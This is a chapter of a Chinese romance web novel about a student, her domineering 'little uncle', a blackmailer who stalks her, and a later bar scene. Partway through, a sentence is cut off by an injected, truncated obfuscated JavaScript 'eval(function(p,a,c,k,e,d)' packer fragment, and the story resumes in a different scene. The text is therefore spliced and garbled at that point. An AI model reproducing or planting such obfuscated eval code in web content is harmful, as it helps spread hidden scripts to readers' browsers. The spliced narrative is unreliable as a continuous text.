池绿下飞机时依旧腿软,努力跟上前面的沈序秋:“小叔,今天拍的视频,是直接发给蒋秘书还是我剪辑好再给呀。” “都要。” 月光黯淡,他的脸在黑夜中模糊不清。 池绿哦了一声:“那原视频我明早发给蒋秘书,过两天再把剪辑好的发给他。” 她得趁着门禁之前赶回学校,刚想开口说那我回学校了,就听见他的声音:“头疼,煮点醒酒汤到书房。” 11.桃色 池绿仔细想了想,刚刚在饭桌上她只给他斟了5次酒。 汝窑天青釉高足酒杯一口就见底。 沈序秋酒品也太差了。 池绿的爸爸这几年酗酒,她经常煮醒酒汤,略懂各种食材的醒酒汤。 冰箱里有应季的甘蔗和白萝卜。 拿出来切块,放进玻璃煮茶壶里,启动水晶电陶炉。 这种醒酒汤也叫沆瀣浆,是池绿在书里看的,从宋朝流传至今。 在用餐区坐着用手机看四级英语单词等汤煲好,梅姨过来体贴地让她先回去,她待会帮忙端上去。 池绿笑笑拒绝了。 沈序秋指明让她端上去,她要是给梅姨端,惹他不快是小,就怕又留下什么话柄来折磨她。 得不偿失。 煮了半个小时,池绿从冰箱里拿出圣女果,用水果刀从中间切开,中间夹一颗沾了蜂蜜去了核的话梅,做了5颗放在莲瓣口的小碗里,和醒酒汤一起放在黄花梨托盘,端上楼。 敲了敲书房门。 里面没动静,门是虚掩的,她小心翼翼推门探出一个脑袋。 沈序秋洗了澡穿着黑色绸制的睡袍,安然睡在椅子上,他穿得严严实实没露什么东西,头发上的水珠没擦干,顺着发梢滴落鼻梁、脖颈,埋进前襟。 明明是规规矩矩的穿搭,穿的人没多想,看的人反而害羞了。 池绿耳根子倏地滚烫,视线从他身上移开,走了进去。 她并不是第一次进入他的书房,上次在书房打扫不小心打碎了他紫檀书柜里的象牙炉,别墅里就没便宜的东西,那象牙炉也是顶贵的。 这样想想,其实她挺能搞破坏的。 轻车熟路往书桌走去。 越是朝他靠近,苦艾的香气越是清晰。 她心里莫名紧张,抖着手将托盘放在案面。开着的笔记本已经暗下,他估计睡了有一会。 轻轻喊他:“小叔,醒酒汤好了。” 沈序秋没动静,白净的面容有些红润的醉态。 池绿犹豫片刻,伸出食指戳了戳他的肩。 沈序秋拢着眉阖了一会,梦见一间看不见天日,家徒四壁的小屋子,冬日冷空气刺骨,他又冷又饿。 窗外是池志安的咒骂声:“野种,怎么不跟你妈妈一起死?” “还想跑?你跟你妈妈一样都是贱的!” “养不熟的白眼狼。” 池志安骂累了便离开,院子一片寂静。 好一会,门口传来一个七八岁小女孩的呼叫声。 “小叔。” “小叔。” 一只小手从铁窗伸进来,戳了戳他的手臂。 他掀开眼皮,眼前模糊地映出少女纤瘦的软腰。 池绿见他睁开了眼睛,正要缩回手,手腕被猛地捉住,她惊讶地挣扎一下,但男女力气悬殊,压根动不了。 怯生生地喊了声:“小叔。” 沈序秋不胜酒力,平时应酬都有蒋霖。 今晚不知怎么,池绿一直往杯里倒,他便一直喝,那白酒太烈,这会脑子一片混沌,加上那个现实中发生过的梦,莫名起了怒火,听她喊小叔,勾起那些非人的日子,胸口更是挤满怨。 用力一扯,将人拉进怀里,小姑娘在他怀里挣扎,扑腾出一阵馨香。 他沉沉开口:“别动。” 池绿被小叔刚才阴冷的眼神吓到了,没敢再动,在他胸膛颤抖,听见他问。 “你爷爷到底什么时候死啊?” 僵硬的池绿不敢吭声,咬紧唇瓣,浑身起鸡皮疙瘩。 小叔又发疯了。 她能感受到小叔搭在她身上的右手臂一直在猛烈抖,这只手臂曾经被爷爷打到断裂,愈合之后有应激反应,只要情绪不稳就会抖得厉害。 等到他的手臂不抖了,池绿才敢抬头。小叔阖着双目,貌似又睡过去了。 池绿颤颤巍巍从他身上起来,落荒而逃。 跑到楼下碰到梅姨。 梅姨见她脸色苍白,关心地问怎么了。 池绿摇头,思绪还没缓过来:“小叔睡在书房了,梅姨你看看给他盖条毯子。” 池绿打车回到学校南门,在路上努力消化掉小叔的可怕。 深夜的路边静悄悄,狂风呼啸而来,卷起地面枯黄的落叶。 她疾步走在路灯下,听见一道熟悉的声音在身后喊她。 她背脊一僵,知道是谁,加快步伐,然而一抹黑色身影从她眼尾溜过,拦在她面前,直接蛮狠地扯她手臂。 “真的是你,蹲了你几个月,终于被我逮到了啊。” 朱樾喘着气数落。 池绿捏紧帆布包肩带,警惕地看着朱樾。 朱樾也是浮邻县人,当年池绿妈妈生二胎被紧急送去医院,池盛泽从工厂赶去医院的路上撞到一辆从分叉路口冲上来的老头车,车头有些轻微摩擦,开车的中年男人是工厂里的员工,他磕碰到了膝盖和额头,当时看着没什么大碍还说要去上班不去医院做检查,于是爸爸给他转了五千就赶去医院。 这事就算私了了。 谁知道半年后中年男人查出得了脑癌,上门讨说法,非说是因为那场车祸导致他脑子里的癌细胞扩散。 要池家负担所有的医药费。 自从妈妈羊栓塞没抢救过来后池盛泽一直丧失斗志,有一种任人拿捏的颓废感,朱家上门更让他怀疑是自己作孽太多才导致老婆去世,面对朱家狮子大开口要50万也给了。 朱家尝到甜头贪心爆棚,半年后又来要钱,数目还不小。 去报警走法院流程也没用,朱家太蛮狠,觉得池家开工厂有钱,堵在门口不让池家人出去,上班的和上学的都被堵在家门口,闹得很不安生。 池盛泽一次次妥协的同时因为沉浸在失去老婆的痛苦中,整日酗酒,无心管理工厂,收益也迅猛下滑,开始陆陆续续一批一批裁员,面临巨额赔偿金,家底被掏空,也无法再满足朱家的变本加厉。 工厂要倒不倒,朱家追着要钱,池家仿佛被厄运缠上时沈序秋出现了。 池绿这才知道,沈序秋已经成为云维集团的董事,虽然他对爷爷很不客气,但涉世未深的池绿天真地想着他们好歹做了几年亲戚,他不至于见死不救,承诺只要他帮忙把工厂救活,安排家里人不被打扰的新住址,要她做什么都行。 当时沈序秋像是听见了什么笑话。 冷声问:“你能把你爷爷杀了?” 池绿吓得不敢吭声,小叔对爷爷的怨恨已经到了恨不得他死的地步。 第二天,池绿出门买菜被蹲守着要钱的朱樾拖上车时恰好遇到上门的沈序秋,她哭着喊小叔救我。 她实在害怕朱樾,这人未成年就因性侵女孩入狱三年,出狱后也不务正业,整日游手好闲赌博,好几次公安局扫黄都能抓到他。之前来家里要钱就流氓一样色咪咪打量池绿。 谁知道上了他的车会被载去哪里,会发生什么。 沈序秋可能是被那一声声小叔叫烦了,从朱樾手里救下了她。 她哭得一把鼻涕一把泪时听见他有些不耐:“哭坟呢你,等你爷爷死了再哭。” 她被吼得闭紧嘴巴,心想爷爷长命百岁。 肩膀一抽一抽又听见他吩咐蒋霖打个电话,让朱家滚出浮邻县,这辈子别进来。 没想到几个月后会在花城遇到朱樾。 恐惧感涌上心头,池绿后退了两步。 朱樾坏笑:“你以为我不回浮邻就拿你没办法了吗!就知道你在南大!有本事逃去国外啊。先给5万吧,我爸就在人民医院躺着呢。” 池绿考上南大,在县里是公开的,学校把她的成绩、相片、录取大学做成光荣榜贴在校门口。 池绿瞪他:“没钱,有也不会给你。” “没钱?是想留着钱给你妹妹治心脏病吧?我告诉你,”朱樾揪住她的胳膊,激动道:“我爸爸好不了,你妹妹也别想做手术。” 池蓝被查出心衰,做心脏移植手术要一大笔钱,家里人一直在存钱。 池绿害怕他又像之前那样把她拉走,冲着前面一群从宵夜店出来的男大学生喊救命。 一边挣脱他的手,把从江市提回来的甜品猛地摔在他脸上,往校园跑。 听见身后有人喊:“干嘛呢你?想对人女孩做什么……” 她在暗夜中跑得很用力,不敢回头,直到喉咙干涩,风灌进来呛得她咳嗽她才缓慢停下脚步。 冷风吹出她眼眶的泪,她捂住喉咙呼吸,心跳快要蹦出来。 这朱樾有点小聪明全用在坏心思上,知道进入南大四处找人不如蹲在校门口等人。 听他刚才的话,居然在校门口守了几个月。 南大四个校门口,之前侥幸没被他遇到,这次在南门遇到,他之后肯定就会特意蹲在南门。 池绿有些担忧,他今天能在校门口蹲到她,万一下次直接进来学校,找到她宿舍怎么办? 给钱就能消灾,可是她为什么要成为他家的提款机。 她家已经给得够多了,这些年迫于压力和威胁陆陆续续给了80万,而这80万本来就不该她家出,池盛泽还用就当做慈善安慰她。 是做慈善也就算了,可明明是憋屈窝囊地纵容。 就是因为一次次的妥协,才会有今天这一出。 而且如今家里情况也不乐观。 爷爷做肝癌手术也花费不少钱,池盛泽又无心经营工厂,家底渐渐被掏空,现在连给池蓝做心脏手术的钱都得慢慢存。 想到池蓝,她又想哭,正是活泼乱跳的年纪却要乖巧坐着。不知道什么时候才能像同龄人一样在户外无忧无虑跳绳踢毽子。 回到宿舍楼下刚好熄灯门禁,池绿精疲力竭,面对室友的关心询问也有气无力。 她在思考要怎么才能让朱樾进去,跟蛮横不讲理的人说道理是没用的,必须使用法律的武器,如果有可能,希望他能把吞掉的钱吐出来。 她行动力强,第二天立马挨个咨询学法的学姐和学长。 得空后把视频发给蒋霖,那边过了几天发了条公司高管采访视频过来,里面有一些内部环境镜头是池绿拍的。 然后就一直没动静,也没再让她去星月湾。 池绿没细想太多,她好几件烦心事,现在惆怅要不要把沈序秋吃晚餐的视频发给付厘。 一是担心付厘会将视频泄露出去,万一被沈序秋知道,她肯定没好果子吃。 二是付厘给的实在太多了。 是要逼迫自己视金钱如粪土安稳度日,还是要富贵险中求,她纠结了好几天。 最后禁不住金钱诱惑,让付厘再三保证不会泄露出去,只留给自己看,付厘开玩笑说,是不是要给她看看蚂蚁信用分。 大小姐还知道蚂蚁信用分,瞬间拉近了距离。 池绿忐忑地把视频打包到百度,复制链接给她。 温泉池那几条没有发,她觉得裸体比较私人。 付厘好奇池绿怎么会有沈序秋吃晚餐的视频。 池绿如实说:沈序秋要拍工作vlog,找到她拍摄。 不知为何,她说的明明是事实,却总是心慌慌的。 毕竟为了赚钱未经当事人同意就把视频发给别人,怎么说都是她理亏在先,而她是一个拥有情绪和感情,脑子会思考的人类,顾虑得多难免联想到各种不太好的后果。 胆子先怯了。 她要知难而行的对象可是沈序秋。 池绿后悔了,但链接发出去已经超过2分钟,撤不回。 聊天框忽然弹出付厘转账八千,盯着那四个零,她鼻头有些酸涩,同样的年纪,付厘可以为了喜欢肆意挥霍,极度喧嚣,随手转过来的数目,对于她而言却是一个学期的生活费。 本来她也拥有不为钱发愁的生活,如今却只能惶惶不安点接收,一边祈祷付厘是个守信的人。 八千块收得极其良心不安,连去食堂吃饭都只吃素,周存希以为她要减肥,让她别瞎减,要荤素搭配,往她盘子里夹了几块排骨。 考完英语四级,天气急剧降温,到了十二月底,浓郁欢乐的圣诞氛围里冷风把枯树吹得咿呀响。 冷意和节日也没让南大的学生怠慢学业,差不多到期末,图书馆每天都人满为患,池绿周六在图书馆看书学习。 教授有布置期末作品,是以4人小组作业的方式完成,池绿在这个过程中明白自己的长处是文字工作,不适合实操,前期拍摄和后期制作也算合格,但统筹全局的魄力稍微弱了些。 下午2点,周存希裹着冷气进来图书馆,拿开池绿特意为她占位置的双肩书包,往她面前推了一杯温热的芋泥奶绿。 “诺,谢谢宝给我占位置。” “顺手的事,你这样客气,我以后都不敢给你占了。” 周存希抱着她的手臂撒娇:“别嘛别嘛,总不能我自己库库喝吧!”她拆了吸管,插在奶茶杯里,蹭到池绿嘴边:“快喝一口,你爱的三分糖!” 池绿尝了口,捧过奶茶:“好喝,谢谢,你快看书吧,我自己喝。” 周存希看了眼手机,小组作业群不断有人冒泡:“崔顺找好了酒吧,在backup,明天晚上就能去拍!” 作业小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池绿第一次听这种浑话,脸蛋有些火辣,瞥了眼前面两个拿着摄影器材的男生,扯了扯她的衣摆:“在外面别瞎说这些。” 周存希忍俊不禁:“我才不是瞎说。” 进了包厢关上门,瞬间隔绝一切声音。 五光十色的包厢是复式设计,下面是弧形卡座,正中央是舞池,竖着三根钢管,旁边有个旋转楼梯上去二楼。 翻拍电影主要不在演员演技,教授看重的是作品的拍摄角度,构图,调色,光影,能不能还原电影的质感。 相机,反光板,打光灯弄好后开始拍摄。 他们认识了4个月,平时虽然不怎么交流,但自从抽签组成了一组后立马明确分工。大家都是年轻人行动力强,相处也很融洽,拍摄氛围轻松欢乐。 不知不觉过了半小时。 大家正围着一起看成片,服务生敲响了门,端了几瓶酒和果盘上来。 “嗳?是不是送错了,我们没叫酒。”崔顺疑惑道。 “没送错,”服务生笑得温柔,侧了身让后面端着东西的人进来:“是沈公子吩咐送来的。” 沈公子。 池绿眼皮突突跳。哪家的沈公子? 崔顺不好意思地挠挠头:“是沈学长送的?让他破费了……” 服务生走后,周存希挑眉问:“哪个沈学长?是我认识的那个吗?” “应该是!沈聿初学长。” 原来崔顺口中借他包厢拍摄的学长是沈聿初。 听到这个名字池绿有些尴尬,自从那天当着沈序秋的面把他微信删掉后,俩人就没再见面。 不知道他后面有没有发信息过来,知不知道自己被删了。 她微微叹息往上面看,顿住了。 沈聿初双手撑在旋转楼梯的顶端,英俊的脸被光影衬得深邃温柔,唇角挂着浅笑。 ——原来他一直在二楼。 岂不是听见了他们吵吵闹闹。 其余人也顺着池绿的目光看见了,崔顺欣喜地说了几句感谢话。 沈聿初语气温柔:“有什么需要尽管跟我说。要是拍摄完了,上来坐坐?” 几人毫不犹豫答应。 周存希激动地晃晃池绿的手臂,在她耳边压低了声音:“我的天,沈师兄好帅!他邀请我们去玩耶。” 池绿唇角扯动,却说不出一句话。 她想钻地缝,奈何钻不了,还被周存希拉上去了。 二楼也有小卡座,设施更齐全,案面上放着各种酒和果盘鲜花。 虚掩的小房间里能看见麻将桌。 池绿眼瞳一圆,整颗心被吊起来。 棋牌室里的麻将桌上,沈序秋的侧脸清晰俊美,他骨节分明的手摸牌丢牌,牌在他手里像是名贵艺术品。他面容清濯,不像上次喝醉后阴冷冷的。 想到那天晚上,池绿还有些心有余悸。 脑海里只剩此地不宜久留的想法了。 牌桌上每个人旁边都坐着漂亮性感的女伴。 沈序秋旁边也不例外,女人偶尔给他添茶,不同于其他女伴紧紧挨着自己要照顾的男人,给他们揉额角,雪白胸脯蹭上去,她明显很拘谨,也不敢靠过去。 也是,白舒菲指尖划过他的手臂都能被他摁水里,哪个女生不要命敢靠过去。 人家也没吃麻将的牙口和癖好。 “会玩吗?我陪你去看看?” 原本在跟另外三人介绍玩飞镖的沈聿初不知何时站在了她旁边,顺着她的视线看向棋牌室。 池绿局促地收回目光,她恨不得现在就离开酒吧。 “不会……我也去玩飞镖。” 沈聿初礼貌又绅士,好像不知道微信被删掉的事情,但她是按下删除键的人,心虚又尴尬。 她也怕自己和沈聿初的交谈被小房间里面的沈序秋看见,快速朝周存希走去。 两个飞镖盘,两女孩子打了八个回合的友谊赛,男生在旁边做氛围组。 周存希赢了,崔顺接替输了的池绿。 池绿环顾四周,没看见沈聿初身影,她松了口气在卡座坐下。 “还想吃什么?我让服务生送来。” 池绿咬下车厘子,爆汁的甜在口腔漫延,侧眸看向突然出现在旁边的沈聿初。 礼貌笑笑:“不用,这有挺多的。” 一局麻将结束,棋牌室的沈序秋出来,卡座里两张熟悉的侧脸直直闯入视线。 昏黄光影下,女孩坐得板直,笑意腼腆,沈聿初剥了个橘子给她,她先是摆手拒绝,不知沈聿初说了什么,她接过,撕开小瓣放嘴里,嚼得缓慢。 正厅放着轻柔迷离的俄语歌Hot,暖气熏着,俩人气氛暧昧,周遭仿佛变成雾气的桃色。 沈序秋眯了眯眼,莫名有种不爽感,像是属于自己的被人觊觎了。 他不动声色地朝卡座走去。